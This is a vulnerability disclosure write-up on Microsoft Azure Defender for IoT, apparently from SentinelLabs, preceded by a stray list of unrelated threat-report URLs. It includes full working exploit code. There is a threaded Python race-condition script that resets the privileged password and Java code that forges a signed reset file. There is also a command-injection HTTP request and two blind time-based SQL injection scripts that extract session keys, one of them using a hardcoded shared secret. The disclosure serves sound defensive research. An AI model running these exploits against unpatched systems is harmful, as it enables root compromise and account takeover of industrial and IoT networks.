https://www.reuters.com/business/media-telecom/exclusive-hackers-who-crippled-viasat-modems-ukraine-are-still-active-company-2022-03-30/
https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf
https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a

Pwning Microsoft Azure Defender for IoT | Multiple Flaws Allow Remote Code Execution for All

28 March 2022 at 17:59

By Kasif Dekel and Ronen Shustin (independent researcher)

Executive Summary

  • SentinelLabs has discovered a number of critical severity flaws in Microsoft Azure’s Defender for IoT affecting cloud and on-premise customers.
  • Unauthenticated attackers can remotely compromise devices protected by Microsoft Azure Defender for IoT by abusing vulnerabilities in Azure’s Password Recovery mechanism.
  • SentinelLabs’ findings were proactively reported to Microsoft in June 2021 and the vulnerabilities are tracked as CVE-2021-42310, CVE-2021-42312, CVE-2021-37222, CVE-2021-42313 and CVE-2021-42311 marked as critical, some with CVSS score 9.8.
  • Microsoft has released security updates to address these critical vulnerabilities. Users are encouraged to take action immediately.
  • At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.

Introduction

Operational technology (OT) networks power many of the most critical aspects of our society; however, many of these technologies were not designed with security in mind and can’t be protected with traditional IT security controls. Meanwhile, the Internet of Things (IoT) is enabling a new wave of innovation with billions of connected devices, increasing the attack surface and risk.

The problem has not gone unnoticed by vendors, and many offer security solutions in an attempt to address it, but what if the security solution itself introduces vulnerabilities? In this report, we will discuss critical vulnerabilities found in Microsoft Azure Defender for IoT, a security product for IoT/OT networks by Microsoft Azure.

First, we show how flaws in the password reset mechanism can be abused by remote attackers to gain unauthorized access. Then, we discuss multiple SQL injection vulnerabilities in Defender for IoT that allow remote attackers to gain access without authentication. Ultimately, our research raises serious questions about the security of security products themselves and their overall effect on the security posture of vulnerable sectors.

Microsoft Azure Defender For IoT

Microsoft Defender for IoT is an agentless network-layer security for continuous IoT/OT asset discovery, vulnerability management, and threat detection that does not require changes to existing environments. It can be deployed fully on-premises or in Azure-connected environments.

Source: Microsoft Azure Defender for IoT architecture

This solution consists of two main components:

  • Microsoft Azure Defender For IoT Management – Enables SOC teams to manage and analyze alerts aggregated from multiple sensors into a single dashboard and provides an overall view of the health of the networks.
  • Microsoft Azure Defender For IoT Sensor – Discovers and continuously monitors network devices. Sensors collect ICS network traffic using passive (agentless) monitoring on IoT and OT devices. Sensors connect to a SPAN port or network TAP and immediately begin performing DPI (Deep packet inspection) on IoT and OT network traffic.

Both components can be either installed on a dedicated appliance or on a VM.

Deep packet inspection (DPI) is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors.

Defender for IoT Web Interface Attack Surface

Both the management and the sensor share roughly the same code base, with configuration changes to fit the purpose of the machine. This is the reason why both machines are affected by most of the same vulnerabilities.

The most appealing attack surface exposed on both machines is the web interface, which allows controlling the environment in an easy way. The sensor additionally exposes another attack surface which is the DPI service (horizon) that parses the network traffic.

After installing and configuring the management and sensors, we are greeted with the login page of the web interface.

The same credentials are used also as the login credentials for the SSH server, which gives us some more insights into how the system works. The first thing we want to do is obtain the sources to see what is happening behind the scenes, so how do we get those?

Defender for IoT is a product formerly known as CyberX, acquired by Microsoft in 2020. Looking around in the home directory of the “cyberx” user, we found the installation script and a tar archive containing the system’s encrypted files. Reading the script we found the command that decrypts the archive file. A minified version:

openssl enc -d -aes256 -in ./product.tar.gz -md sha512 -k <KEY> | tar xz -C <TARGET_DIR>

The decryption key is shared across all installations.

After extracting the data we found the sources for the web interface ( written in Python) and got to work.

We first aimed to find any exposed unauthenticated APIs and look for vulnerabilities there.

Finding Potentially Vulnerable Controllers

The urls.py file contains the main routes for the web application:

xsense_routes = [
    ['handshake', XSenseHandshakeApiHandler]
]
 
xsense_v17_routes = [
    ['sync', xsense_v17.XSenseSyncApiHandler]
]
 
upgrade_v1_routes = [
    ['status', upgrade_v1.RemoteUpgradeStatusApiHandler],
    ['upgrade-log', upgrade_v1.RemoteUpgradeLogFileApiHandler]
]
 
token_v1_routes = [
    ['verify', token_v1.TokenVerificationHandlers],
    ['update-handshake', token_v1.UpdateHandshakeHandlers],
]
 
frontend_routes = [
 
    ['alerts', AlertsApiHandler],
    ['alerts/(?P[0-9]*)', AlertsApiHandler],
    ['alerts/scenarios', AlertScenariosApiHandler],
    <redacted>
]
management_routs = [
    ['backup/sync', ManagementApiHandler],
    ['backup/package', ManagementApiBackupHandler],
    ['backup/maintenance', MaintenanceApiHandler]
]
<redacted>

Using Jetbrains IntelliJ’s class hierarchy feature we can easily identify route controllers that do not require authentication.

Route controllers that do not require authentication

Every controller that inherits from BaseHandler and does not validate authentication or requires a secret token is a good candidate at this point. Some controllers drew our attention in particular.

Understanding Azure’s Password Recovery Mechanism

The password recovery mechanism for both the management and sensor operates as follows:

  1. Access to management/sensor URL (e.g., https://ip/login#/dashboard)
  2. Go to the “Password Recovery” page.
  3. Copy the ApplianceID provided in this page to the Azure console and get a password reset ZIP file which you upload in the password reset page.
  4. Upload the signed ZIP file to the management/sensor Password Recovery page using the mentioned form in Step 2. This ZIP contains digitally-signed proof that the user is the owner of this machine, by way of digital certificates and signed data.
  5. A new password is generated and displayed to the user

Under the hood:

  1. The actual process is divided into two requests to the management/sensor server:
    1. Upload of the signed ZIP proof
    2. Password recovery
  2. When a ZIP file is uploaded, it is being extracted to the /var/cyberx/reset_password directory (handled by ZipFileConfigurationApiHandler).
  3. When a password recovery request is being processed, the server performs the following operations:
    1. The PasswordRecoveryApiHandler controller validates the certificates. This validates that the certificates are properly signed by a Root CA. in addition, it checks whether these certificates belong to Azure servers.
    2. A request is sent to an internal Tomcat server to further validate the properties of the machine.
    3. If all checks pass properly, PasswordRecoveryApiHandler generates a new password and returns it to the user.

The ZIP contains the following files:

  • IotDefenderSigningCertificate.pem – Azure public key, used to verify the data signature in ResetPassword.json, signed by issuer.pem.
  • Issuer.pem – Signs IotDefenderSigningCertificate.pem, signed by a trusted root CA.
  • ResetPassword.json – JSON application data, properties of the machine.

The content of the ResetPassword.json file looks as follows:

{
  "properties": {
    "tenantId": "<TENANTID>",
    "subscriptionId": "<SUBSCRIPTIONID>",
    "type": "PasswordReset",
    "applianceId": "<APPLIANCEID>",
    "issuanceDate": "<ISSUANCEDATA>"
  },
  "signature": "<BASE64_SIGNATURE>"
}

According to Step 2, the code that processes file uploads to the reset_password directory (components\xsense-web\cyberx_web\api\admin.py:1508) looks as follows:

class ZipFileConfigurationApiHandler(BaseHandler):
    def _post(self):
        path = self.request.POST.get('path')
        approved_path = ['licenses', 'reset_password']
 
        if path not in approved_path:
            raise Exception("provided path is not approved")
 
        path = os.path.join('/var/cyberx', path)
        cyberx_common.clear_directory_content(path)
 
        files = self.request.FILES
        for file_name in files:
            license_zip = files[file_name]
            zf = zipfile.ZipFile(license_zip)
            zf.extractall(path=path)

As shown, the code extracts the user delivered ZIP to the mentioned directory, and the following code handles the password recovery requests (cyberx python library file django_helpers.py:576):

class PasswordRecoveryApiHandler(BaseHandler):
    def _get(self):
        global host_id
 
        if not host_id:
            host_id = common.get_system_id()
            host_id = common.add_dashes(host_id)
 
        return {
            'instanceId': host_id
        }
 
    def _post(self):
        print 'resetting user password'
        result = {}
        try:
            body = self.parse_body()
            user = body.get('user')
 
            if user != 'cyberx' and user != 'support':
                raise Exception('Invalid user')
 
            try:
                self._try_reset_password() 
            except Exception as e:
                logging.error('could not verify activation certificate, error {}'.format(e.message))
                result = {
                    "internalSystemErrorMessage": '',
                    "userDisplayErrorMessage": 'This password recovery file is invalid.' +
                                                  'Download a new file. If this does not work, contact support.'
                }
 
            url = "http://127.0.0.1:9090/core/api/v1/login/reset-password"
            r = requests.post(url=url)
            r.raise_for_status()
 
            # Reset passwords
 
            user_new_password = common.generate_password()
            self._set_user_password(user, user_new_password)
 
            if not result:
                result = {
                    'newPassword': user_new_password
                }
        finally:
            clear_directory_content('/var/cyberx/reset_password')
 
        return result

The function first validates the provided user and calls the function _try_reset_password:

 def _try_reset_password(self):
        license_signing_certificate_path = os.path.join(RESET_PASSWORD_DIR_PATH, SIGNING_CERTIFICATE_FILE_NAME)
        intermediate_issuer_certificate_path = os.path.join(RESET_PASSWORD_DIR_PATH, ISSUER_CERTIFICATE_FILE_NAME)
 
        cert_data = ssl.verify_certificate(intermediate_issuer_certificate_path, license_signing_certificate_path)
        certificate = load_certificate(FILETYPE_PEM, cert_data)
        print 'validating subject'
        ssl.verify_subject(certificate)
        print 'validating issuer'
        ssl.verify_issuer(certificate)

Internally, this code validates the certificates, including the issuer.

Afterwards, a request to an internal API http://127.0.0.1:9090/core/api/v1/login/reset-password is made and handled by a Java component that eventually executes the following code:

public class ResetPasswordManager {
  private static final Logger LOGGER = LoggerFactory.getLogger(ResetPasswordManager.class);
  private static final String RESET_PASSWORD_CERTIFICATE_PATH = "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem"; 
  private static final String RESET_PASSWORD_JSON_PATH = "/var/cyberx/reset_password/ResetPassword.json";
  
  private static final ActivationConfiguration ACTIVATION_CONFIGURATION = new ActivationConfiguration();
  
  public static void resetPassword() throws Exception {
    LOGGER.info("Trying to reset password");
    JSONObject resetPasswordJson = new JSONObject(FileUtils.read("/var/cyberx/reset_password/ResetPassword.json"));
    ResetPasswordProperties resetPasswordProperties = (ResetPasswordProperties)JsonSerializer.fromString(resetPasswordJson
        .getJSONObject("properties").toString(), ResetPasswordProperties.class);
    boolean signatureValid = CryptographyUtils.isSignatureValid(JsonSerializer.toString(resetPasswordProperties).getBytes(StandardCharsets.UTF_8), resetPasswordJson
        .getString("signature"), "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem");
    if (!signatureValid) {
      LOGGER.error("Signature validation failed");
      throw new Exception("This signature file is not valid");
    } 
    String subscriptionId = resetPasswordProperties.getSubscriptionId();
    String machineSubscriptionId = ACTIVATION_CONFIGURATION.getSubscriptionId();
    if (!machineSubscriptionId.equals("") && 
      !machineSubscriptionId.contains(resetPasswordProperties.getSubscriptionId())) {
      LOGGER.error("Subscription ID didn't match");
      throw new Exception("This signature file is not valid");
    } 
    DateTime issuanceDate = 
 
DateTimeFormat.forPattern("MM/dd/yyyy").parseDateTime(resetPasswordProperties.getIssuanceDate()).withTimeAtStartOfDay();
    if (DateTime.now().withTimeAtStartOfDay().minusDays(7).isAfter((ReadableInstant)issuanceDate)) {
      LOGGER.error("Password reset file expired");
      throw new Exception("Password reset file expired");
    } 
    if (!Environment.getSensorUUID().replace("-", "").equals(resetPasswordProperties.getApplianceId().trim().toLowerCase().replace("-", ""))) {
      LOGGER.error("Appliance id not equal to real uuid");
      throw new Exception("Appliance id not equal to real uuid");
    } 
  }
}

This code validates the password reset files yet again. This time it also validates the signature of the ResetPassword.json file and its properties.

If all goes well and the Java API returns 200 OK status code, the PasswordRecoveryApiHandler controller proceeds and generates a new password and returns it to the user.

Vulnerabilities in Defender for IOT

As shown, the password recovery mechanism consists of two main entities:

  • The Python web API (external)
  • The Java web API (tomcat, internal)

This introduces a time-of-check-time-of-use (TOCTOU) vulnerability, since no synchronization mechanism is applied.

As mentioned, the reset password mechanism starts with a ZIP file upload. This primitive lets us upload and extract any files to the /var/cyberx/reset_password directory.

There is a window of opportunity in this flow that makes it possible to change the files in /var/cyberx/reset_password between the first verification (Python API) and the second verification (Java API) in a way that the Python API validates that the files are correctly signed by Azure certificates. Then the Java API processes the replaced specially crafted files that causes it to falsely approve their authenticity and return the 200 OK status code.

The password recovery Java API contains logical flaws that let specially-crafted payloads bypass all verifications.

The Java API validates the signature of the JSON file (same code as above):

JSONObject resetPasswordJson = new JSONObject(FileUtils.read("/var/cyberx/reset_password/ResetPassword.json"));
    ResetPasswordProperties resetPasswordProperties = (ResetPasswordProperties)JsonSerializer.fromString(resetPasswordJson
        .getJSONObject("properties").toString(), ResetPasswordProperties.class);
    boolean signatureValid = CryptographyUtils.isSignatureValid(JsonSerializer.toString(resetPasswordProperties).getBytes(StandardCharsets.UTF_8), resetPasswordJson
        .getString("signature"), "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem");
    if (!signatureValid) {
      LOGGER.error("Signature validation failed");
      throw new Exception("This signature file is not valid");
    } 

The issue here is that it doesn’t verify the IotDefenderSigningCertificate.pem certificate as opposed to the Python API verification. It only checks that the signature in the JSON file is signed by the attached certificate file. This introduces a major flaw.

An attacker can therefore generate a self-signed certificate and sign the ResetPassword.json payload that will pass the signature verification.

As already mentioned, the ResetPassword.json looks like the following:

{
  "properties": {
    "tenantId": "<TENANTID>",
    "subscriptionId": "<SUBSCRIPTIONID>",
    "type": "PasswordReset",
    "applianceId": "<APPLIANCEID>",
    "issuanceDate": "<ISSUANCEDATA>"
  },

Afterwards, there is a subscription ID check:

  String subscriptionId = resetPasswordProperties.getSubscriptionId();
    String machineSubscriptionId = ACTIVATION_CONFIGURATION.getSubscriptionId();
    if (!machineSubscriptionId.equals("") && 
      !machineSubscriptionId.contains(resetPasswordProperties.getSubscriptionId())) {
      LOGGER.error("Subscription ID didn't match");
      throw new Exception("This signature file is not valid");
    } 

This is the only property that cannot be obtained by a remote attacker and is infeasible to guess in a reasonable time. However, this check can be easily bypassed.

The code takes the subscriptionId from the JSON file and compares it to the machineSubscriptionId. However, the code here is flawed. It checks if machineSubscriptionId contains the subscriptionId from the user controlled JSON file and not the other way around. The use of .contains() is entirely insecure. The subscriptionId is in the format of a GUID, which means it must contain a hyphen. This allows us to bypass this check by only providing a single hyphen character.

Next, the issuanceDate is checked, followed by ApplianceId. This is already supplied to us by the password recovery page (mentioned in Step 2).

Now we understand that we can bypass all of the checks in the Java API, meaning that we only need to successfully win the race condition and ultimately reset the password without authorization.

The fact that the ZIP upload interface and password recovery interface are divided came in handy in the exploitation phase and lets us win the race more easily.

Preparing To Attack Azure Defender For IoT

To prepare the attack we need to do the following.

  1. Obtain a legitimate password recovery ZIP file from the Azure portal. Obviously, we cannot access the Azure user that the victim machine belongs to, but we can use any Azure user and generate a “dummy” ZIP file. We only need the recovery ZIP file to obtain a legitimate certificate. This can be done at the following URL:
    https://portal.azure.com/#blade/Microsoft_Azure_IoT_Defender/IoTDefenderDashboard/Sites
    

    For that matter, we can create a new trial Azure account and generate a recovery file using that interface mentioned above. The secret identifier is irrelevant and may contain garbage.

  2. Then we need to generate a specially crafted (“bad”) ZIP file. This ZIP file will contain two files:
    • IotDefenderSigningCertificate.pem – a self-signed certificate. It can be generated by the following command:
      openssl     req  -x509   -nodes     -newkey rsa:2048     -keyout key.pem     -out IotDefenderSigningCertificate.pem     -subj "/C=DE/ST=NRW/L=Berlin/O=My Inc/OU=ALEG/CN=www.example.com/[email protected]"
      
    • ResetPassword.json – properties data JSON file, signed by the self-signed certificate mentioned above and modified accordingly to bypass the Java API verifications.

This JSON file can be signed using the following Java code:

import com.cyberx.infrastructure.common.configuration.ActivationConfiguration;
import com.cyberx.infrastructure.common.serializers.JsonSerializer;
import com.cyberx.infrastructure.common.utils.CryptographyUtils;
import com.cyberx.infrastructure.common.utils.FileUtils;
import com.cyberx.infrastructure.models.pojos.ResetPasswordProperties;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.GeneralSecurityException;
import org.joda.time.DateTime;
import org.joda.time.ReadableInstant;
import org.joda.time.format.DateTimeFormat;
import org.json.JSONObject;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.commons.codec.binary.Base64;
 
    public static void sign() {
        String data = "{\"tenantId\":\"<redacted>\",\"subscriptionId\":\"-\",\"type\":\"PasswordReset\",\"applianceId\":\"<redacted>\",\"issuanceDate\":\"06/19/2021\"}";
        try {
            String signature = Base64.encodeBase64String(CryptographyUtils.rsaSign("C:\\key.pem", data.getBytes()));
            JSONObject jsonData = new JSONObject(data);
            JSONObject completeData = new JSONObject();
            completeData.put("properties", jsonData);
            completeData.put("signature", signature);
            System.out.println(completeData.toString());
            FileUtils.write("C:\\ResetPassword.json", completeData.toString());
        } catch (GeneralSecurityException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

As mentioned, the applianceId is obtained from the password recovery page. The tenantId is not verified, thus can be anything.

The issuanceDate parameter is self explanatory.

Once generated and signed, it can be added to a ZIP archive and be used by the following Python exploit script:

import requests
import threading
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
 
 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
 
HOST = "192.168.1.130"
BENIGN_RESET_PATH = "./benign.zip"
MALICIOUS_RESET_PATH = "./malicious.zip"
 
 
BENIGN_DATA = open(BENIGN_RESET_PATH, "rb+").read()
MALICIOUS_DATA = open(MALICIOUS_RESET_PATH, "rb+").read()
 
 
def upload_reset_file(data, timeout=0):
    headers = {
        "X-CSRFTOKEN": "aaaa",
        "Referer": "https://{0}/login".format(HOST),
        "Origin": "https://{0}".format(HOST)
    }
 
    cookies = {
        "csrftoken": "aaaa"
    }
    files = {"file": data}
    data = {"path": "reset_password"}
    while True:
        requests.post("https://{0}/api/configuration/zip-file".format(HOST), data=data, files=files, headers=headers, cookies=cookies, verify=False)
        if not timeout:
            time.sleep(timeout)
 
def recover_password():
    headers = {
        "X-CSRFTOKEN": "aaaa",
        "Referer": "https://{0}/login".format(HOST),
        "Origin": "https://{0}".format(HOST)
    }
 
    cookies = {
        "csrftoken": "aaaa"
    }
    data = {"user": "cyberx"}
    while True:
        req = requests.post("https://{0}/api/authentication/recover".format(HOST), json=data, headers=headers, cookies=cookies, verify=False)
        if b"newPassword" in req.content:
            print(req.content)
            sys.exit(1)
 
 
def main():
 
    looper_benign = threading.Thread(target=upload_reset_file, args=(BENIGN_DATA, 0), daemon=True)
    looper_malicious = threading.Thread(target=upload_reset_file, args=(MALICIOUS_DATA, 1), daemon=True)
    looper_recover = threading.Thread(target=recover_password, args=(), daemon=True)
 
    looper_benign.start()
    looper_malicious.start()
    looper_recover.start()
 
 
    looper_recover.join()
   
 
if __name__ == '__main__':
    main()

The benign.zip file is the ZIP file obtained from the Azure portal, as described above and the malicious.zip file is the mentioned specially-crafted ZIP file as described above.

The exploit script above performs the TOCTOU attack to reset and receive the password of the cyberx username without authentication at all. It does so by utilizing three threads:

  • looper_benign – responsible for uploading the benign ZIP file in an infinite loop
  • looper_malicious – the same as looper_benign but uploads the malicious ZIP, in this configuration with a 1 second timeout
  • looper_recover – sends the password recovery request to trigger the vulnerable code

Somewhat unfortunately, the documentation mentions that the ZIP file cannot be tampered with.

This vulnerability is addressed as part of CVE-2021-42310.

Unauthenticated Remote Code Execution As Root #1

At this point, we can obtain a password for the privileged user cyberx. This allows us to login to the SSH server and to execute code as root. Even without this, an attacker could use a stealthier approach to execute code.

After logging in with the obtained password, the attack surface is vastly increased. For example, we found a simple command injection vulnerability within the change password mechanism:

From components\xsense-web\cyberx_web\api\authentication.py:151:

   def _post(self):
        try:
            body = self.parse_body()
            password = body['password']
            username = body['username'].lower()  # Lower case the username mainly because it does not matter
            ip_address = self.get_client_ip_address()
 
            # 1. validate credentials:
            try:
                logging.info('validate credentials...')
                user = LoginApiHandler.validate_credentials_and_get_user(username, password, ip_address)
            except UserFriendlyException as e:
                raise e
            except Exception as e:
                logging.error('User authentication failure', exc_info=True)
                raise UserFriendlyException('User authentication failure', e.message)
 
            # 2. validate new password:
            new_password = body['new_password']
            err_message = UserPasswordApiHandler.validate_password(new_password)
            if err_message:
                raise UserFriendlyException("Password doesn't match security policy", err_message)
 
            # 3. change password:
            user.set_password(new_password)
            user.save()
            process.run('sudo /usr/local/bin/cyberx-users-password-reset -u {username} -p {password}'
                        .format(username=user.get_username().encode('utf-8'), password=new_password), hide_output=True)
            return {'msg': 'Password has been replaced.'}
        except UserFriendlyException as e:
            raise e
        except Exception as e:
            raise UserFriendlyException("Unable to set password.", e.message)

The function receives three JSON fields from the user, “username”, “password”, “new_password”.

First, it validates the username and password, which we already have. Next, it only checks the complexity of the password using regex, but does not sanitize the input for command injection primitives.

After the validation it executes the /usr/local/bin/cyberx-users-password-reset script as root with the username and new password controlled by an attacker. As the function doesn’t sanitize the input of “new_password” properly, we can inject any command we choose. Our command will then be executed as root with the help of sudo because the cyberx user is a sudoer. This lets us execute code as a root user:

This can be exploited with the following HTTP packet:

POST /api/external/authentication/set_password HTTP/1.1
Host: 192.168.1.130
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-CSRFTOKEN: aaaa
Referer: https://192.168.1.130/login
Origin: https://192.168.1.130
Cookie: cyberx-version=10.3.1.7-r-55a4f94; csrftoken=aaaa; sessionid=kcnjq7wby7c28rxnppcex20gkajej3km; RELOCATE_URL=
Content-Length: 100
Content-Type: multipart/form-data; boundary=47dd42bb4cf2abb6e9c4c81019d8fbb4
 
{"username" : "cyberx", "password" : "",
"new_password": "``"}

This vulnerability is addressed as part of CVE-2021-42312.

POC

In the remainder of this post, we present two additional routes and new vulnerabilities as well as a vulnerability in the traffic processing framework.

These vulnerabilities are basic SQL Injections (with a twist), yet they have a high impact on the security of the product and the organization’s network.

CVE-2021-42313

The DynamicTokenAuthenticationBaseHandler class inherits from BaseHandler and does not require authentication. This class contains two functions (get_version_from_db, uuid_is_connected) which are prone to SQL injection .

def get_version_from_db(self, uuid):
    version = None
    with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
        logger.info("fetching the sensor version from db")
        xsenses = client.execute_select_query(
            "SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid))
        if len(xsenses) > 0:
            version = xsenses[0]['version']
            logger.info("sensor version according to db is: {}".format(version))
        else:
            logger.info("sensor not in db")
    return version
    
def uuid_is_connected(self, uuid):
    with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
        xsenses = client.execute_select_query(
            "SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid))
        result = len(xsenses) > 0
    return result

As shown, the UUID parameter is not sanitized and formatted into an SQL query. There are a couple of classes which inherit DynamicTokenAuthenticationBaseHandler. The flow to the vulnerable functions actually exists in the token validation process.

Therefore, we can trigger the SQL injection without authentication.

These vulnerabilities can be triggered from:

  1. api/sensors/v1/sync
  2. api/v1/upgrade/status
  3. api/v1/upgrade/upgrade-log

It is worth noting that the function execute_select_query internally calls to the SQL execute, API which supports stacked queries. This makes the “simple” select SQL injection a more powerful primitive (aka executing any query using ‘;’). In our testing we managed to insert, update, and execute SQL special commands.

For the PoC of this vulnerability, we used the api/sensors/v1/sync API. We created the following script to extract a logged in user session id from the database, which eventually allows us to take over the account.

import requests
import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
HOST = "https://192.168.126.150"
 
def startAttack():
    sessionKey = ""
    for currChr in range(1, 40):
        bitStr = ""
        for currBit in range(0, 8):
            sql = "aleg' union select if(ord(substr((SELECT session_key from django_session WHERE LENGTH(session_data) > 70 ORDER BY expire_date DESC LIMIT 1),{0},1)) >>{1} & 1 = 1 ,sleep(3),0),2,3 -- a".format(currChr, currBit)
 
            body = {
                "token": "aleg",
                "uid": sql
            }
 
            now = datetime.datetime.now()
            res = requests.post(HOST + "/api/sensors/v1/sync", json=body, verify=False)
            if (datetime.datetime.now() - now).seconds > 2:
                bitStr += "1"
                print(1)
            else:
                bitStr += "0"
                print(0)
 
        final = bitStr[::-1]
        print(final)
        print(int(final, 2))
        chrNum = int(final, 2)
 
        if not chrNum:
            return
            
        sessionKey += chr(chrNum)
        print("SessionKey: " + sessionKey)
 
            
 
def main():
    startAttack()
 
if __name__ == "__main__":
    main()

An example of this script output:

After extracting the session id from the database, we can log in to the management web interface, at which point there are several methods to execute code as root. For example, we could change the password and login to the SSH server (these users are sudoers), use the script scheduling mechanism, or use the command injection vulnerability we mentioned earlier in this post.

This attack is made easy due to the lack of session validation. There is no further layer of validation, such as verifying that the session id is used from the same IP address and User-Agent as the initiator of the session.

CVE-2021-42311

The UpdateHandshakeHandlers::is_connected function is also prone to SQL injection.

The class UpdateHandshakeHandler inherits from BaseHandler, which is accessible for unauthenticated users and can be reached via the API: /api/v1/token/update-handshake.

However, this time there is a twist: the _post function does token verification.

class UpdateHandshakeHandlers(BaseHandler):
    def __init__(self):
        super(UpdateHandshakeHandlers, self).__init__()
        self.update_secret = update_secret
 
    def is_connected(self, sensor_uid):
        with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
            logger.info("fetching the sensor version from db")
            xsenses = client.execute_select_query(
                "SELECT id, UID FROM xsenses WHERE UID = '{}'".format(sensor_uid))
 
            if len(xsenses) > 0:
                logger.info("sensor {} found on db".format(sensor_uid))
                return True
            else:
                logger.info("sensor {} not in db".format(sensor_uid))
                return False
 
    def _post(self):
        try:
            body = self.parse_body()
        except Exception as ex:
            return self.generic_handler(self.invalid_body)
 
        try:
            sensor_update_secret = body['update_secret']
            sensor_uid = body['xsenseUID']
 
            if sensor_update_secret != self.update_secret:
                raise Exception('invalid secret')
 
            if not self.is_connected(sensor_uid):
                raise Exception('only supported with connected sensors')
        except Exception as ex:
            logging.exception('failed to fetch new token')
            return self.generic_handler(self.invalid_token)
 
        logger.info("update handshake succeeded")
        token = {
            'token': tokens.get_token()
        }
        return token

This means the API requires a secret token, and without it we cannot exploit this SQL injection vulnerability. Fortunately, this API token is not that secretive. This update.token is hardcoded in the file index.properties and is shared across all Defender For IoT installations worldwide, which means that an attacker may exploit this vulnerability without any authentication.

We created the following script to extract a logged in user session id from the database, which allows us to take over the account.

import requests
import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
HOST = "https://10.100.102.253"
 
def startAttack():
    sessionKey = ""
    for currChr in range(1, 40):
        bitStr = ""
        for currBit in range(0, 8):
            sql = "aleg' union select if(ord(substr((SELECT session_key from django_session WHERE LENGTH(session_data) > 70 ORDER BY expire_date DESC LIMIT 1),{0},1)) >>{1} & 1 = 1 ,sleep(3),0),2 -- a".format(currChr, currBit)
 
            body = {
                "update_secret": "93960370-2f5f-4be1-813e-b7a3768ad288",
                "xsenseUID": sql
            }
 
            now = datetime.datetime.now()
            res = requests.post(HOST + "/api/v1/token/update-handshake", json=body, verify=False)
            if (datetime.datetime.now() - now).seconds > 2:
                bitStr += "1"
                print(1)
            else:
                bitStr += "0"
                print(0)
 
        final = bitStr[::-1]
        print(final)
        print(int(final, 2))
        chrNum = int(final, 2)
 
        if not chrNum:
            return
            
        sessionKey += chr(chrNum)
        print("SessionKey: " + sessionKey)
 
            
 
def main():
    startAttack()
 
if __name__ == "__main__":
    main()

As with the first SQL injection vulnerability, after extracting the session id from the database, we can use any of the methods mentioned above to execute code as root.

CVE-2021-37222

The sensor machine uses RCDCAP (an open source project) to open CISCO ERSPAN and HP ERM encapsulated packets.

The functions ERSPANProcessor::processImpl and HPERMProcessor::processImpl methods are vulnerable to a wildcopy heap based buffer overflow vulnerability, which can potentially allow arbitrary code execution, when processing specially crafted input.

These functions are vulnerable to a wildcopy heap based buffer overflow vulnerability, which can potentially allow arbitrary code execution.

This vulnerability was found by locally fuzzing RCDCAP with pcap files and occurs when this line is executed:

(hp-erm-processor.cc:94)
(erspan-processor.cc:90)

std::copy(&packet[offset + MACHeader802_1Q::getVLANTagOffset()],
        &packet[caplen], &packet[MACHeader802_1Q::getVLANTagOffset()+MACHeader802_1Q::getVLANTagSize()]);

This was reported to the code owner and MSRC; the code owner has already issued a fix:

MSRC, however, decided that this vulnerability does not meet the bar for a MSRC security update and the development group might decide to fix it as needed.

Impact

  • Who is affected? Azure Defender for IoT running with unpatched systems are affected. Since this product has many configurations, for example RTOS, which have not been tested, users of these systems can be affected as well.
  • What is the risk? Successful attack may lead to full network compromise, since Azure Defender For IoT is configured to have a TAP (Terminal Access Point) on the network traffic. Access to sensitive information on the network could open a number of sophisticated attacking scenarios that could be difficult or impossible to detect.

Mitigation

We responsibly disclosed our findings to MSRC in June 2021, and Microsoft has released a security advisory with patch details December 2021, which can be found here, here, here, here and here.

While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched, and checking access logs for irregularities.

Conclusion

Cloud providers heavily invest in securing their platforms, but unknown zero-day vulnerabilities are inevitable and put customers at risk. It’s particularly concerning when it comes to IoT and OT devices that have little to no defenses and depend entirely on these vulnerable platforms for their security posture. Cloud users should take a defense-in-depth approach to cloud security to ensure breaches are detected and contained, whether the threat comes from the outside or from the platform itself.

As part of SentinelLabs’ commitment to advancing public security, we actively invest in research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies and widely share our findings in the interest of protecting all users.

Disclosure Timeline

  • June 21, 2021 – Initial report to MSRC.
  • June 24, 2021 – Initial response from MSRC
  • June 30, 2021 – MSRC requests a PoC video and code.
  • July 1, 2021 – We shared the code and a PoC video with MSRC.
  • July 16, 2021 – MSRC confirmed the bug and started working on a fix.
  • December 14, 2021 – MSRC released an advisory.

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